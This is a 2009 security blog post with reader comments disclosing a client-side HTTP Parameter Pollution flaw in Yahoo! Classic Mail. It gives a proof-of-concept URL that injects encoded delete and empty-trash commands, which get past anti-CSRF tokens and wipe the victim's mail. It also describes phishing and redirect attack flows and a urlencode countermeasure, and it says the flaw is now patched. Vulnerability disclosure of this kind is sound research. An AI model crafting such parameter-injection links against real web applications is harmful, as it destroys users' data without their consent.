Thursday, May 21, 2009

Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc

As a follow up of HTTP Parameter Pollution presentation,
I think it's time to give some details of the Yahoo! Classic Mail exploitation.
That's the long version of the video we showed @ OWASP Appsec Poland 2009:
Youtube LD Video or Wisec HD Video

Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:
"...
How client side HPP works?
It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:
http://yahoo.com?par=val%26aaaa=aaa

Have a look at Html source looking for translation of %26 in & or & in anchors or other attributes using the url, such as:

<a href="http://yahoo.com?par=val&aaaa=aaa"> View </a>

The semantic of such link changes from the function described to something else.
In fact, if instead of %26aaaa=aaa the injected parameter is:
%26action=delete
It becomes:
<a href="http://yahoo.com?par=val&action=delete"> View </a>
so even if the user sees View, the action will be delete.
Obviously it strongly depends on the functionalities and the structure of the Web app...

Yahoo! Classic Mail Issue

I found that client side HPP is possible on some parameter in the first page of Inbox.
For instance:
http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0

has "startMid" which could be used as entry point for client-side HPP.
In fact trying to add %26aaaa=aaa to startMid:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%26aaaa=aaaa

Every link to listed emails, within inbox, expands %26 into &.
Specifically:

<a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&sMid=0&fid=Inbox&sort=date&order=down&startMid=0&aaaaa=aaa&filterBy=&.rand=1076957714&midIndex=0&mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&f=1">An email subject </a>

(notice the &aaaa=aaa)
As a result, when the user will click on any email subject he will trigger the execution of a different action, as it usually happens for CSRF.

The proof of concept

I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.

Later on, I found that:
cmd=fmgt.emptytrash

is the action for emptying the trashcan

and that:
DEL=1&DelFID=Inbox&cmd=fmgt.delete

forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.

Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.

Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:

http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete

when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..

Countermeasures to Client Side HPP

When creating URLs the parameters taken from the HTTP request itself
should be url encoded and not translated to Html Entities.

Example (php):

<a href="/?startmid="<?=urlencode($_GET['startMid'])?>&id=4">View</a>

and not:

<a href="/?startmid="<?=htmlspecialchars($_GET['startMid'])?>&id=4">View</a>


The Attack flow
Let's review, once again, the attack flow:

Flow #1:
  1. Attacker sends an email to the victim with the above link.
  2. User/victim clicks on the link and gets the inbox page again.
  3. User/victim clicks in order to see the other messages and gets every message deleted.


Flow #2:
  1. User/victim visits a malicious page
  2. Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.
  3. User/victim clicks in order to see the other messages and gets every message deleted.
...

Cheers,
Stefano
..."

Just to be clear, this vulnerability is currently patched and it affected the Yahoo! Mail classic version only.
However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.

7 comments:

  1. Great work here! The PoC videos make it very clear that there is an issue, but not how it ties in to HPP. However, the blog post itself covers all those details nicely. Well done!

    ReplyDelete
  2. If the action a result of a GET request why isn't this classified as CSRF? Since you could embed

    < img src='http://yahoo.com?par=val&action=delete' / > and have the request made on behalf of the user

    ReplyDelete
  3. As you can read in the blog post:
    "
    Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.
    "

    So, no, Client side HPP isn't classified as CSRF because it could be used to bypass anti CSRF tokens, the same way I did on Yahoo! Mail.

    ReplyDelete
  4. Any other site, where we could test it

    ReplyDelete
  5. @Satyajit
    It's up to you, I just tested it when I was researching HPP.

    @all
    The Yahoo! Classic Mail HPP has been fixed by Yahoo.

    ReplyDelete